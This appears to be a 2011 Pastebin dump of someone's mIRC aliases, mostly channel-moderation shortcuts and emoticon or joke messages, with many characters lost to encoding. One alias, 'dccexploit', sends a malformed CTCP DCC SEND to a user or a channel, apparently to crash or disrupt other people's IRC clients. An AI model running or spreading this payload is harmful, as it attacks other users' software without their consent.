"Untitled"
By gando (https://pastebin.com/u/gando)

URL: https://pastebin.com/T1rV1dRJ
Created on: Monday 13th of June 2011 11:08:21 AM CDT
Retrieved on: Saturday 31 of October 2020 07:58:49 AM UTC


/op /mode # +ooo $$1 $2 $3
/dop /mode # -ooo $$1 $2 $3
/j /join #$$1 $2-
/p /part #
/n /names #$$1
/w /whois $$1
/k /kick # $$1 $2-
/q /query $$1
/send /dcc send $1 $2
/chat /dcc chat $1
/ping /ctcp $$1 ping
/s /server $$1-
/mp3 /dde mplug announce
/bsa /bs say #omoronovoftp $$1-
/md5 /msg # The MD5 hash of $+(",$1-,") is $md5($1-)
/sha1 /msg # The SHA1 hash of $+(",$1-,") is $sha1($1-)
kb {
  var %n $1
  var %r = $2-
  var %c $active

  mode $active +b $address(%n,3) | kick $active %n %r
  timer 1 2 /mode $active -b $address(%n,3)
}
uptime {
  msg $active My 2uptime0 is $uptime(system,2)
}
msgall {
  //msg # $regsubex($str(~,$nick($chan,0)),/./g,$nick($chan,\n) $+ $chr(44) $+ $chr(32))
}
interject {
  //msg # ?'d ?u?t l?k? t? ?nt?r???t f?r ? m?m?nt. Wh?t ??u'r? r?f?rr?ng t? ?? $$1-, ?? ?n f??t, $+(GNU,/,$($$1-)), ?r ?? ?'v? r???ntl? t?k?n t? ??ll?ng ?t, G?U ?lu? $$1-. 
}
interject2 {
  //msg # ?'d ?u?t l?k? t? ?nt?r???t f?r ? m?m?nt. Wh?t ??u'r? r?f?rr?ng t? ?? $$1, ?? ?n f??t, $+($($$2-,/,$($$1))), ?r ?? ?'v? r???ntl? t?k?n t? ??ll?ng ?t, $$2- ?lu? $$1. 
}
uc {
  /unload -rs remote.ini
}
lc {
  /load -rs scripts\remote.ini
}
/mad {
  /msg # YOU WANT RAGE? NOW I'M RAGING FOR REAL. YOU HAVEN'T SEEN RAGE UNTIL YOU'VE WITNESSED RAGE SUCH AS THIS. I AM RAGING INFINITY SUNS. THOUSAND DRAGON VOMIT YOUR ASS.
}
/cs /chanserv $1-
/ns /nickserv $1-
dccexploit {
  if ($1-) {
    .msg $1- ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0 | halt
  }
  else {
    echo -i10 $active $mtime($null) $mname($active,$me) ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0
    .msg $active ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0 | halt
  }
}
/derpface /msg # (??°) $1-
/why /msg # (????)? ?(????) $1-
/hs /msg hostserv $$1-
/smugface2 /msg # ( ???) $1-
/derp /derpface $1-
/what /msg # +(???)+ $1-
/feelsbadman /msg # ( ´_?`)
/smugface /msg # ( ¬?¬) $1-
/smug /smugface $1-
/problem /msg # Problem, $$1-?
/herp /msg # (° ??)
/smug2 /smugface $1-
/weaboo /msg # ( ????)?
/sad /msg # ( ?n?)
/cute /msg # ?? ? ??
/idunno /msg # +('~`;)+
ihope /msg # I seriously hope you guys don't do this.
/herpderp /msg # (°?)?
/why2 /msg # ?(????)
/no /msg # (? ? ?)